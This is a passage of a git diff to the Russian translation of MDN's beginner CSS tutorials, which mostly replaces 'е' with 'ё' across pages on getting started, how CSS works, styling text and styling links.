папке, что и HTML-документ, но вы можете поместить его куда-нибудь ещё и настроить относительный путь, например:</p> +<p>В приведённом выше примере файл CSS находится в той же папке, что и HTML-документ, но вы можете поместить его куда-нибудь ещё и настроить относительный путь, например:</p> <pre class="brush: html notranslate"><!-- Файл находится внутри под-директории <em>styles</em>, находящейся в текущей директории --> <link rel="stylesheet" href="styles/style.css"> @@ -133,7 +133,7 @@ p { <p><strong>Пожалуйста, не делайте этого! </strong>Это очень плохо для технического обслуживания (вам, возможно, придётся обновить одну и ту же информацию несколько раз в одном документе), а также смешивает ваши презентационные данные CSS с структурной информацией HTML, что делает код трудным для чтения и понимания. Хранение различных типов кода отделено делает работу гораздо более лёгкой для всех, кто работает над кодом.</p> -<p>Есть несколько мест, где встроенные стили являются более распространенными или даже желательными. Вам, возможно, придется прибегнуть к использованию их, если ваша рабочая среда сильно ограничена (возможно, ваша CMS позволяет редактировать только HTML-тело). Вы также увидите, как они использовали много в HTML электронной почте, чтобы получить совместимость с таким количеством почтовых клиентов, со скольким это возможно.</p> +<p>Есть несколько мест, где встроенные стили являются более распространёнными или даже желательными. Вам, возможно, придётся прибегнуть к использованию их, если ваша рабочая среда сильно ограничена (возможно, ваша CMS позволяет редактировать только HTML-тело). Вы также увидите, как они использовали много в HTML электронной почте, чтобы получить совместимость с таким количеством почтовых клиентов, со скольким это возможно.</p> <h2 id="Игра_с_CSS_в_этой_статье">Игра с CSS в этой статье</h2> @@ -163,7 +163,7 @@ p { color: red; }</pre> -<p>Затем, когда вы столкнетесь с CSS и захотите поэкспериментировать со стилями, измените содержимое <code><body></code> HTML-документа и начинайте добавлять CSS-стили внутри вашего файла CSS.</p> +<p>Затем, когда вы столкнётесь с CSS и захотите поэкспериментировать со стилями, измените содержимое <code><body></code> HTML-документа и начинайте добавлять CSS-стили внутри вашего файла CSS.</p> <p>Если вы не используете систему, в которой вы можете легко создавать файлы, вы можете вместо этого использовать интерактивный редактор ниже чтобы экспериментировать.</p> diff --git a/files/ru/learn/css/first_steps/how_css_works/index.html b/files/ru/learn/css/first_steps/how_css_works/index.html index ff9721cbcf..3dacedb68c 100644 --- a/files/ru/learn/css/first_steps/how_css_works/index.html +++ b/files/ru/learn/css/first_steps/how_css_works/index.html @@ -32,13 +32,13 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <h2 id="Как_работает_CSS">Как работает CSS?</h2> -<p>Когда браузер отображает документ, он должен совместить его содержимое с его стилями. Этот процесс идет в несколько этапов, о которых мы сейчас поговорим. Держите в уме, что это очень упрощенная версия того как браузер действительно загружает веб-страницу, а также то, что разные браузеры делают это по разному. Но, происходит, грубо говоря, следующее:</p> +<p>Когда браузер отображает документ, он должен совместить его содержимое с его стилями. Этот процесс идёт в несколько этапов, о которых мы сейчас поговорим. Держите в уме, что это очень упрощённая версия того как браузер действительно загружает веб-страницу, а также то, что разные браузеры делают это по разному. Но, происходит, грубо говоря, следующее:</p> <ol> <li>Браузер получает HTML-страницу (например, из Интернета)</li> <li>Преобразует {{Glossary("HTML")}} в {{Glossary("DOM")}} (<em>Document Object Model</em>). DOM (или DOM-дерево) - это представление страницы в памяти компьютера. Подробнее на DOM мы остановимся чуть позже.</li> <li>Затем браузер забирает все ресурсы и описания, связанные с HTML-документом, например: встроенные картинки, видео ... и стили CSS! JavaScript присоединяется чуть позже и мы пока не будем говорить об этом, чтобы все не усложнять.</li> - <li>После этого браузер анализирует полученный CSS код, сортирует описанные там правила в зависимости от их селекторов и раскладывает их в различные «корзины»: элементы, классы, идентификаторы(ID) и т.п. Основываясь на найденных селекторах браузер понимает какие правила относятся к определенным «узлам» в DOM-дереве и применяет их по мере необходимости (этот промежуточный шаг называют «формированием дерева представления» или «формированием дерева рендеринга»)</li> + <li>После этого браузер анализирует полученный CSS код, сортирует описанные там правила в зависимости от их селекторов и раскладывает их в различные «корзины»: элементы, классы, идентификаторы(ID) и т.п. Основываясь на найденных селекторах браузер понимает какие правила относятся к определённым «узлам» в DOM-дереве и применяет их по мере необходимости (этот промежуточный шаг называют «формированием дерева представления» или «формированием дерева рендеринга»)</li> <li>Дерево представления (<em>render tree</em>) формируется в том порядке, в каком оно затем должно будет отображаться, когда все правила будут применены.</li> <li>Затем происходит визуальное отображение контента на странице (этот этап называется «отрисовкой»)</li> </ol> @@ -51,7 +51,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works <p>DOM напоминает дерево. Каждый элемент, атрибут, отрывок текста становится {{Glossary("Node/DOM","DOM node")}} в разметке. DOM-узлы определяются их отношением с другими узлами. Некоторые родительские элементы имеют дочерние, а у дочерних элементов есть братские.</p> -<p>Понимание DOM позволит вам разрабатывать, отлаживать и поддерживать ваш CSS, потому что именно в DOM-дереве Ваши таблицы стилей и код встречаются. Когда вы начнете работать с браузерным DevTools(инструменты для разработки) вы будете перемещаться по DOM при выборе элементов чтобы увидеть какие правила применяются.</p> +<p>Понимание DOM позволит вам разрабатывать, отлаживать и поддерживать ваш CSS, потому что именно в DOM-дереве Ваши таблицы стилей и код встречаются. Когда вы начнёте работать с браузерным DevTools(инструменты для разработки) вы будете перемещаться по DOM при выборе элементов чтобы увидеть какие правила применяются.</p> <h2 id="Как_представлено_DOM-дерево">Как представлено DOM-дерево</h2> diff --git a/files/ru/learn/css/first_steps/index.html b/files/ru/learn/css/first_steps/index.html index f19ed5774a..d376e97564 100644 --- a/files/ru/learn/css/first_steps/index.html +++ b/files/ru/learn/css/first_steps/index.html @@ -37,13 +37,13 @@ translation_of: Learn/CSS/First_steps <dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_CSS">Что такое CSS?</a></dt> <dd><strong>{{Glossary("CSS")}}</strong> (Каскадные таблицы стилей) позволяет создавать великолепно выглядящие веб-страницы, но как же это работает? Эта статья объясняет, что такое CSS с помощью простого примера синтаксиса, а также охватывает некоторые ключевые термины о языке.</dd> <dt><a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало работы с CSS</a></dt> - <dd>В этой статье мы возьмем простой HTML-документ и применим к нему CSS, изучая некоторые практические вещи о языке.</dd> + <dd>В этой статье мы возьмём простой HTML-документ и применим к нему CSS, изучая некоторые практические вещи о языке.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/%D0%9A%D0%B0%D0%BA_%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD_CSS">Как структурирован CSS</a></dt> <dd>Теперь, когда у вас есть представление о том, что такое CSS и как его использовать, пришло время немного углубиться в структуру самого языка. Мы уже встречали множество концепций, обсуждаемых здесь; Вы можете вернуться к этому, чтобы повторить, если вы находите какие-либо более поздние концепции запутанными.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/How_CSS_works">Как работает CSS</a></dt> <dd>Мы изучили основы CSS — для чего он нужен и как писать простые таблицы стилей. В этом уроке мы рассмотрим, как браузер берет CSS и HTML и превращает их в веб-страницу.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Использование ваших новых знаний</a></dt> - <dd>С учетом того, что вы узнали за последние несколько уроков, вы должны обнаружить, что вы можете форматировать простые текстовые документы с использованием CSS, чтобы добавить к ним свой собственный стиль. Эта статья дает вам шанс сделать это.</dd> + <dd>С учётом того, что вы узнали за последние несколько уроков, вы должны обнаружить, что вы можете форматировать простые текстовые документы с использованием CSS, чтобы добавить к ним свой собственный стиль. Эта статья даёт вам шанс сделать это.</dd> </dl> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html b/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html index 977b1ddd39..41873a7a60 100644 --- a/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html +++ b/files/ru/learn/css/first_steps/using_your_new_knowledge/index.html @@ -13,7 +13,7 @@ translation_of: Learn/CSS/First_steps/Using_your_new_knowledge <p>{{LearnSidebar}}{{PreviousMenu("Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> <dl> - <dd>С учетом того что вы узнали за последние несколько уроков, вы должны обнаружить, что вы можете форматировать простые текстовые документы с использованием CSS, чтобы добавить к ним свой собственный стиль. Эта статья дает вам возможность сделать это.</dd> + <dd>С учётом того что вы узнали за последние несколько уроков, вы должны обнаружить, что вы можете форматировать простые текстовые документы с использованием CSS, чтобы добавить к ним свой собственный стиль. Эта статья даёт вам возможность сделать это.</dd> </dl> <table class="learn-box standard-table"> diff --git a/files/ru/learn/css/first_steps/what_is_css/index.html b/files/ru/learn/css/first_steps/what_is_css/index.html index 9a0e8a65d6..d2dc14cce2 100644 --- a/files/ru/learn/css/first_steps/what_is_css/index.html +++ b/files/ru/learn/css/first_steps/what_is_css/index.html @@ -32,7 +32,7 @@ original_slug: Learn/CSS/First_steps/Что_такое_CSS </tbody> </table> -<p>В модуле <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Основы HTML</a> мы рассмотрели, что такое HTML и как он используется для разметки документов. Эти документы будут доступны для чтения в веб-браузере. Заголовки будут выглядеть больше, чем обычный текст, абзацы разбиваются на новую строку и будут иметь пространство между друг другом. Ссылки выделены цветом и подчеркнуты, чтобы отличить их от остального текста. То, что Вы видите, — это стили браузера по умолчанию — самые основные стили, которые браузер применяет к HTML, чтобы гарантировать, что он будет в основном читабельным, даже если автор страницы не указал явный стиль.</p> +<p>В модуле <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Основы HTML</a> мы рассмотрели, что такое HTML и как он используется для разметки документов. Эти документы будут доступны для чтения в веб-браузере. Заголовки будут выглядеть больше, чем обычный текст, абзацы разбиваются на новую строку и будут иметь пространство между друг другом. Ссылки выделены цветом и подчёркнуты, чтобы отличить их от остального текста. То, что Вы видите, — это стили браузера по умолчанию — самые основные стили, которые браузер применяет к HTML, чтобы гарантировать, что он будет в основном читабельным, даже если автор страницы не указал явный стиль.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/17072/Basic_styling__ru.png" style="border: 1px solid #cccccc; height: 678px; width: 1385px;"></p> @@ -42,7 +42,7 @@ original_slug: Learn/CSS/First_steps/Что_такое_CSS <p>Как мы уже упоминали ранее, CSS — это язык для определения того, как документы представляются пользователям — как они оформляются, размещаются и т. д.</p> -<p><strong>Документ</strong> обычно представляет собой текстовый файл, структурированный с использованием языка разметки: {{Glossary("HTML")}} — самый распространенный язык разметки, но Вы также можете встретить другие языки разметки, такие как {{Glossary("SVG")}} или {{Glossary("XML")}}.</p> +<p><strong>Документ</strong> обычно представляет собой текстовый файл, структурированный с использованием языка разметки: {{Glossary("HTML")}} — самый распространённый язык разметки, но Вы также можете встретить другие языки разметки, такие как {{Glossary("SVG")}} или {{Glossary("XML")}}.</p> <p><strong>Представление</strong> документа пользователю означает преобразование его в форму, используемую Вашей аудиторией<strong>.</strong> {{Glossary("browser","Browsers")}}, такие как {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}} или {{Glossary("Microsoft Edge","Edge")}} , предназначены для визуального представления документов, например, на экране компьютера, проектора или принтера.</p> @@ -90,21 +90,21 @@ p { <h2 id="CSS-модули">CSS-модули</h2> -<p>Поскольку существует множество вещей, которые можно стилизовать с помощью CSS, язык разбит на модули. По мере изучения MDN Вы увидите ссылки на эти модули, а многие страницы документации организованы вокруг определенного модуля. Например, вы можете взглянуть на ссылку MDN в модуле <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">Свойства фона и границ</a>, чтобы узнать, какова его цель и какие различные свойства и другие функции он содержит. Вы также найдёте ссылки на спецификацию CSS, которая определяет технологию (см. ниже).</p> +<p>Поскольку существует множество вещей, которые можно стилизовать с помощью CSS, язык разбит на модули. По мере изучения MDN Вы увидите ссылки на эти модули, а многие страницы документации организованы вокруг определённого модуля. Например, вы можете взглянуть на ссылку MDN в модуле <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders">Свойства фона и границ</a>, чтобы узнать, какова его цель и какие различные свойства и другие функции он содержит. Вы также найдёте ссылки на спецификацию CSS, которая определяет технологию (см. ниже).</p> <p>На этом этапе вам не нужно слишком беспокоиться о том, как структурирован CSS, однако это может упростить поиск информации, если, например, вы знаете, что определённое свойство может быть найдено среди других похожих вещей, и поэтому, вероятно, в той же спецификации.</p> -<p>Для конкретного примера давайте вернемся к модулю Свойства фона и границ — Вы можете подумать, что это логично для свойств <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code> и <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code>, которые будут определены в этом модуле. И Вы правы.</p> +<p>Для конкретного примера давайте вернёмся к модулю Свойства фона и границ — Вы можете подумать, что это логично для свойств <code><a href="/en-US/docs/Web/CSS/background-color">background-color</a></code> и <code><a href="/en-US/docs/Web/CSS/border-color">border-color</a></code>, которые будут определены в этом модуле. И Вы правы.</p> <h3 id="Технические_характеристики_CSS">Технические характеристики CSS</h3> <p>Все технологии веб-стандартов (HTML, CSS, JavaScript и т. д.) определены в гигантских документах, называемых спецификациями, которые публикуются организациями по стандартизации (такие как {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} или {{glossary("Khronos")}}) и определяют, как эти технологии должны вести себя.</p> -<p>CSS ничем не отличается — он разработан группой в W3C, которая называется <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a>. Эта группа состоит из представителей производителей браузеров и других компаний, которые заинтересованы в CSS. Есть также другие люди, известные как приглашенные эксперты, которые выступают как независимые голоса; они не связаны с членами организации.</p> +<p>CSS ничем не отличается — он разработан группой в W3C, которая называется <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a>. Эта группа состоит из представителей производителей браузеров и других компаний, которые заинтересованы в CSS. Есть также другие люди, известные как приглашённые эксперты, которые выступают как независимые голоса; они не связаны с членами организации.</p> <p>Новые функции CSS разрабатываются или определяются рабочей группой CSS. Иногда потому, что конкретный браузер заинтересован в том, чтобы иметь какие-то возможности, иногда потому, что веб-дизайнеры и разработчики запрашивают функцию, а иногда потому, что сама рабочая группа определила требование. CSS постоянно развивается, появляются новые функции. Тем не менее, ключевым моментом в CSS является то, что все работают очень усердно, чтобы никогда не менять вещи таким образом, чтобы это сломало старые сайты. Веб-сайт, созданный в 2000 году, с использованием ограниченного CSS, доступного в то время, должен всё ещё использоваться в браузере сегодня!</p> -<p>Как новичок в CSS, вполне вероятно, что Вы найдете CSS-спецификации ошеломляющими — они предназначены для инженеров, чтобы использовать их для реализации поддержки функций в пользовательских агентах, а не для веб-разработчиков, чтобы читать, чтобы понимать CSS. Многие опытные разработчики предпочитают обращаться к документации MDN или другим учебникам. Однако стоит знать, что они существуют, понимать взаимосвязь между используемым CSS, поддержкой браузера (см. ниже) и спецификациями.</p> +<p>Как новичок в CSS, вполне вероятно, что Вы найдёте CSS-спецификации ошеломляющими — они предназначены для инженеров, чтобы использовать их для реализации поддержки функций в пользовательских агентах, а не для веб-разработчиков, чтобы читать, чтобы понимать CSS. Многие опытные разработчики предпочитают обращаться к документации MDN или другим учебникам. Однако стоит знать, что они существуют, понимать взаимосвязь между используемым CSS, поддержкой браузера (см. ниже) и спецификациями.</p> <h2 id="Поддержка_браузера">Поддержка браузера</h2> @@ -116,7 +116,7 @@ p { <h2 id="Что_дальше">Что дальше?</h2> -<p>Теперь, когда у вас есть некоторое представление о том, что такое CSS, давайте перейдем к <a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Началу работы с CSS</a>, где Вы можете начать писать CSS самостоятельно.</p> +<p>Теперь, когда у вас есть некоторое представление о том, что такое CSS, давайте перейдём к <a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Началу работы с CSS</a>, где Вы можете начать писать CSS самостоятельно.</p> <p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p> diff --git a/files/ru/learn/css/howto/index.html b/files/ru/learn/css/howto/index.html index 578a2b1cbf..cc647758f3 100644 --- a/files/ru/learn/css/howto/index.html +++ b/files/ru/learn/css/howto/index.html @@ -4,7 +4,7 @@ slug: Learn/CSS/Howto translation_of: Learn/CSS/Howto original_slug: Learn/CSS/Как --- -<p class="summary">Следующие ссылки указывают на решения общих повседневных проблем, вам придется решать их с помощью CSS.</p> +<p class="summary">Следующие ссылки указывают на решения общих повседневных проблем, вам придётся решать их с помощью CSS.</p> <h2 id="Примеры_и_использование">Примеры и использование</h2> diff --git a/files/ru/learn/css/index.html b/files/ru/learn/css/index.html index c312325c9d..dcbc37eca8 100644 --- a/files/ru/learn/css/index.html +++ b/files/ru/learn/css/index.html @@ -42,7 +42,7 @@ translation_of: Learn/CSS <dt><a href="/ru/docs/Learn/CSS/Styling_text">Дизайн текста</a></dt> <dd>Здесь мы рассмотрим основы стилизации текста, в том числе изменение шрифта, жирности, курсивного написания, межстрочного и межбуквенного интервалов, теней и других особенностей текста. Завершается модуль демонстрацией применения пользовательских шрифтов на вашей странице, оформлением списков и ссылок.</dd> <dt><a href="/ru/docs/Learn/CSS/Styling_boxes">Стилизация блоков</a></dt> - <dd>Далее мы рассмотрим дизайн блоков, один из основных шагов к разметке веб-страницы. В этом модуле мы кратко рассмотрим работу с блочными элементами, а затем ознакомимся с приемами управления блоками, установив такие свойства, как поля, отступы и границы, настроим фоновые цвет и изображение, а также рассмотрим более сложные функции, такие как тени и фильтры.</dd> + <dd>Далее мы рассмотрим дизайн блоков, один из основных шагов к разметке веб-страницы. В этом модуле мы кратко рассмотрим работу с блочными элементами, а затем ознакомимся с приёмами управления блоками, установив такие свойства, как поля, отступы и границы, настроим фоновые цвет и изображение, а также рассмотрим более сложные функции, такие как тени и фильтры.</dd> <dt><a href="/ru/docs/Learn/CSS/CSS_layout">Размещение элементов с помощью CSS</a></dt> <dd>К текущему моменту мы познакомились с основами CSS. Мы знаем, как оформлять текст, как оформлять и изменять блоки, в которых находится ваш контент. Пришло время узнать, как разместить ваши блоки в нужных местах в зависимости от области просмотра и тому подобного. Мы уже знаем достаточно, чтобы погрузиться в изучение разметки с помощью CSS, в то, как изменять отображение в зависимости от особенностей экрана, как использовать современные методы разметки, такие как Flexbox и CSS grid, и некоторые традиционные методы разметки, которые все ещё применяются.</dd> <dt>Адаптивный дизайн (TBD)</dt> @@ -51,9 +51,9 @@ translation_of: Learn/CSS <h2 id="Решаем_часто_встречающиеся_проблемы_в_CSS">Решаем часто встречающиеся проблемы в CSS</h2> -<p>В разделе <strong><a href="/ru/docs/Learn/CSS/Как">Использование CSS для решения общих проблем</a></strong> даны ссылки на разделы, объясняющие, как следует использовать CSS для решения самых распространенных проблем при создании веб-страницы.</p> +<p>В разделе <strong><a href="/ru/docs/Learn/CSS/Как">Использование CSS для решения общих проблем</a></strong> даны ссылки на разделы, объясняющие, как следует использовать CSS для решения самых распространённых проблем при создании веб-страницы.</p> -<p>В самом начале Вы будете применять цвет к тексту и фону HTML-элементов, изменять их размер, форму, местоположение, добавлять и стилизовать границы. Однако с уверенным знанием даже основ CSS Вы сможете сделать практически что угодно. Одним из плюсов изучения CSS является то, что Вы быстро начнёте понимать, можно или нельзя что-то сделать средствами CSS, даже если Вы еще не уверены, как это сделать. </p> +<p>В самом начале Вы будете применять цвет к тексту и фону HTML-элементов, изменять их размер, форму, местоположение, добавлять и стилизовать границы. Однако с уверенным знанием даже основ CSS Вы сможете сделать практически что угодно. Одним из плюсов изучения CSS является то, что Вы быстро начнёте понимать, можно или нельзя что-то сделать средствами CSS, даже если Вы ещё не уверены, как это сделать. </p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/css/styling_text/fundamentals/index.html b/files/ru/learn/css/styling_text/fundamentals/index.html index 5d80571f6f..270aec1251 100644 --- a/files/ru/learn/css/styling_text/fundamentals/index.html +++ b/files/ru/learn/css/styling_text/fundamentals/index.html @@ -7,7 +7,7 @@ translation_of: Learn/CSS/Styling_text/Fundamentals <div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div> -<p class="summary"><span class="seoSummary">В данной статье мы начнем путь к овладению стилизацией текста при помощи {{glossary("CSS")}}.</span> Мы подробно изучим основы стилизации текста и шрифта, такие как толщина, начертание, семейство, стенография, выравнивание текста и другие эффекты, а также рассмотрим междустрочный и межбуквенный интервалы.</p> +<p class="summary"><span class="seoSummary">В данной статье мы начнём путь к овладению стилизацией текста при помощи {{glossary("CSS")}}.</span> Мы подробно изучим основы стилизации текста и шрифта, такие как толщина, начертание, семейство, стенография, выравнивание текста и другие эффекты, а также рассмотрим междустрочный и межбуквенный интервалы.</p> <table class="learn-box standard-table"> <tbody> @@ -24,10 +24,10 @@ translation_of: Learn/CSS/Styling_text/Fundamentals <h2 id="Что_участвует_в_стилизации_текста_в_CSS">Что участвует в стилизации текста в CSS?</h2> -<p>Как вы уже проверили в своей работе с HTML и CSS, текст внутри элемента выкладывается в поле содержимого элемента. Он начинается в левом верхнем углу области содержимого (или в правом верхнем углу, в случае содержимого языка RTL) и течет к концу строки. Как только он достигает конца, он переходит к следующей строке и продолжает, затем к следующей строке, пока все содержимое не будет помещено в коробку. Текстовое содержимое эффективно ведет себя как ряд встроенных элементов, размещенных на соседних строках и не создающих разрывы строк до тех пор, пока не будет достигнут конец строки, или если вы не принудите разрыв строки вручную с помощью элемента {{htmlelement("br")}}.</p> +<p>Как вы уже проверили в своей работе с HTML и CSS, текст внутри элемента выкладывается в поле содержимого элемента. Он начинается в левом верхнем углу области содержимого (или в правом верхнем углу, в случае содержимого языка RTL) и течёт к концу строки. Как только он достигает конца, он переходит к следующей строке и продолжает, затем к следующей строке, пока все содержимое не будет помещено в коробку. Текстовое содержимое эффективно ведёт себя как ряд встроенных элементов, размещённых на соседних строках и не создающих разрывы строк до тех пор, пока не будет достигнут конец строки, или если вы не принудите разрыв строки вручную с помощью элемента {{htmlelement("br")}}.</p> <div class="note"> -<p><strong>Примечание:</strong> если приведенный выше абзац оставляет вас в замешательстве, то не имеет значения — вернитесь и просмотрите нашу статью о модели коробки, чтобы освежить теорию модели коробки, прежде чем продолжить.</p> +<p><strong>Примечание:</strong> если приведённый выше абзац оставляет вас в замешательстве, то не имеет значения — вернитесь и просмотрите нашу статью о модели коробки, чтобы освежить теорию модели коробки, прежде чем продолжить.</p> </div> <p>Свойства CSS, используемые для стилизации текста, обычно делятся на две категории, которые мы рассмотрим отдельно в этой статье:</p> @@ -38,12 +38,12 @@ translation_of: Learn/CSS/Styling_text/Fundamentals </ul> <div class="note"> -<p><strong>Примечание:</strong> имейте в виду, что текст внутри элемента все затронуты как одна единая сущность. Вы не можете выбирать и стилизовать подразделы текста, если вы не обернете их в соответствующий элемент (например, {{htmlelement ("span")}} или {{htmlelement ("strong")}}), или использовать текстовый псевдоэлемент, такой как ::first-letter (выделяет первую букву текста элемента),:: first-line (выделяет первую строку текста элемента) или ::selection (выделяет текст, выделенный в данный момент курсором.)</p> +<p><strong>Примечание:</strong> имейте в виду, что текст внутри элемента все затронуты как одна единая сущность. Вы не можете выбирать и стилизовать подразделы текста, если вы не обернёте их в соответствующий элемент (например, {{htmlelement ("span")}} или {{htmlelement ("strong")}}), или использовать текстовый псевдоэлемент, такой как ::first-letter (выделяет первую букву текста элемента),:: first-line (выделяет первую строку текста элемента) или ::selection (выделяет текст, выделенный в данный момент курсором.)</p> </div> <h2 id="Шрифты">Шрифты</h2> -<p>Давайте сразу перейдем к рассмотрению свойств для стилизации шрифтов. В этом примере мы применим некоторые различные свойства CSS к одному и тому же образцу HTML, который выглядит следующим образом:</p> +<p>Давайте сразу перейдём к рассмотрению свойств для стилизации шрифтов. В этом примере мы применим некоторые различные свойства CSS к одному и тому же образцу HTML, который выглядит следующим образом:</p> <pre class="brush: html notranslate"><h1>Tommy the cat</h1> diff --git a/files/ru/learn/css/styling_text/index.html b/files/ru/learn/css/styling_text/index.html index 54a8cc02fe..9ec747a83e 100644 --- a/files/ru/learn/css/styling_text/index.html +++ b/files/ru/learn/css/styling_text/index.html @@ -24,7 +24,7 @@ translation_of: Learn/CSS/Styling_text --- <p id="Перед_стартом"> {{LearnSidebar}}</p> -<p>Разобравшись с основами синтаксиса CSS, следующей темой над которой вам следует сосредоточиться, это стилизация текста — одна из наиболее распространенных вещей, которые вы будете делать с помощью CSS. В этой теме мы рассмотрим основные принципы оформления, включая выбор и определение шрифтов, использование курсива и жирного шрифта, отступов, теней и других средств придания уникальности вашему тексту. В завершение темы мы рассмотрим использование на вашей странице пользовательских шрифтов, а также оформление списков и ссылок</p> +<p>Разобравшись с основами синтаксиса CSS, следующей темой над которой вам следует сосредоточиться, это стилизация текста — одна из наиболее распространённых вещей, которые вы будете делать с помощью CSS. В этой теме мы рассмотрим основные принципы оформления, включая выбор и определение шрифтов, использование курсива и жирного шрифта, отступов, теней и других средств придания уникальности вашему тексту. В завершение темы мы рассмотрим использование на вашей странице пользовательских шрифтов, а также оформление списков и ссылок</p> <h2 id="Необходимые_условия">Необходимые условия</h2> @@ -52,7 +52,7 @@ translation_of: Learn/CSS/Styling_text <h2 id="Проверка">Проверка</h2> -<p>Следующие задания проверят ваше понимание методов стилизации текста, описанных в вышеприведенных руководствах.</p> +<p>Следующие задания проверят ваше понимание методов стилизации текста, описанных в вышеприведённых руководствах.</p> <dl> <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Вёрстка домашней страницы муниципальной школы</a></dt> diff --git a/files/ru/learn/css/styling_text/styling_links/index.html b/files/ru/learn/css/styling_text/styling_links/index.html index bbafb52296..993e92c7b8 100644 --- a/files/ru/learn/css/styling_text/styling_links/index.html +++ b/files/ru/learn/css/styling_text/styling_links/index.html @@ -31,10 +31,10 @@ translation_of: Learn/CSS/Styling_text/Styling_links <p><span class="tlid-translation translation" lang="ru"><span title="">Первое, что нужно понять, это концепция состояний ссылок </span></span>— разные состояния в которых могут существовать ссылки, которые могут быть стилизованы используя различные <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">псевдоклассы</a>:</p> <ul> - <li><strong>Link (не посещенная)</strong>: <span class="tlid-translation translation" lang="ru"><span title="">Состояние по умолчанию, в котором находится ссылка</span></span>, когда она не находится в каком-либо другом состоянии. Она может быть специфически стилизована используя псевдокласс {{cssxref(":link")}}.</li> + <li><strong>Link (не посещённая)</strong>: <span class="tlid-translation translation" lang="ru"><span title="">Состояние по умолчанию, в котором находится ссылка</span></span>, когда она не находится в каком-либо другом состоянии. Она может быть специфически стилизована используя псевдокласс {{cssxref(":link")}}.</li> <li><strong>Visited</strong>: Ссылка, когда она уже была посещена (существует в истории браузера), стилизуется используя псевдокласс {{cssxref(":visited")}}.</li> - <li><strong>Hover</strong>: Ссылка, когда на нее наведен курсор мыши, стилизуется используя псевдокласс {{cssxref(":hover")}}</li> - <li><strong>Focus</strong>: Ссылка, когда она была сфокусирована (например когда пользователь переместился на нее используя клавишу <kbd>Tab</kbd> или наподобие или программно сфокусирована используя {{domxref("HTMLElement.focus()")}}) — стилизуется используя псевдокласс {{cssxref(":focus")}}.</li> + <li><strong>Hover</strong>: Ссылка, когда на неё наведён курсор мыши, стилизуется используя псевдокласс {{cssxref(":hover")}}</li> + <li><strong>Focus</strong>: Ссылка, когда она была сфокусирована (например когда пользователь переместился на неё используя клавишу <kbd>Tab</kbd> или наподобие или программно сфокусирована используя {{domxref("HTMLElement.focus()")}}) — стилизуется используя псевдокласс {{cssxref(":focus")}}.</li> <li><strong>Active</strong>: Ссылка, когда она активируется (например при клике по ней), стилизуется используя псевдокласс {{cssxref(":active")}}</li> </ul> @@ -56,8 +56,8 @@ translation_of: Learn/CSS/Styling_text/Styling_links <ul> <li>Ссылки подчеркнуты.</li> - <li>Не посещенные ссылки синие.</li> - <li>Посещенные ссылки фиолетовые</li> + <li>Не посещённые ссылки синие.</li> + <li>Посещённые ссылки фиолетовые</li> <li>Наведение курсора мыши на ссылку меняют указатель мыши на иконку маленькой руки.</li> <li>Сфокусированные ссылки имеют контур вокруг себя — <span class="tlid-translation translation" lang="ru"><span title="">вы можете сфокусироваться на ссылках на этой странице с помощью клавиатуры, нажав клавишу табуляции (на </span></span>Mac, вам может понадобиться включить опцию <em>Full Keyboard Access: All controls </em>нажав <kbd>Ctrl</kbd> + <kbd>F7</kbd><span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>,</span> прежде чем это будет работать<span class="tlid-translation translation" lang="ru"><span title="">).</span></span></li> <li>Активные ссылки красные (попробуйте удерживать кнопку мыши на ссылке, когда вы кликните по ней).</li> @@ -66,7 +66,7 @@ translation_of: Learn/CSS/Styling_text/Styling_links <p>Довольно интересно, что эти стили по умолчанию приблизительно такие же какими они были в первые дни браузеров в середине 1990-ых. Это потому, что пользователи знают и привыкли ожидать такого поведения — если бы ссылки были стилизованы по-разному, это бы путало много людей. Это не значит, что вы недолжны стилизовать ссылки совсем, просто вы не должны уходить слишком далеко от ожидаемого поведения. По крайней мере вы должны:</p> <ul> - <li>Использовать нижнее подчеркивание для ссылок, но не для других вещей. Если вы не хотите подчеркивать ссылки, то хотя бы выделите их каким-либо другим путем.</li> + <li>Использовать нижнее подчёркивание для ссылок, но не для других вещей. Если вы не хотите подчёркивать ссылки, то хотя бы выделите их каким-либо другим путем.</li> <li>Сделать так чтобы они как-нибудь реагировали на наведение/фокусировку на них и немного отличались после активации.</li> </ul> @@ -113,9 +113,9 @@ a:active { }</pre> -<p>Этот порядок важен так как стили ссылок опираются друг на друга, например стили в первом правиле будут применяться ко 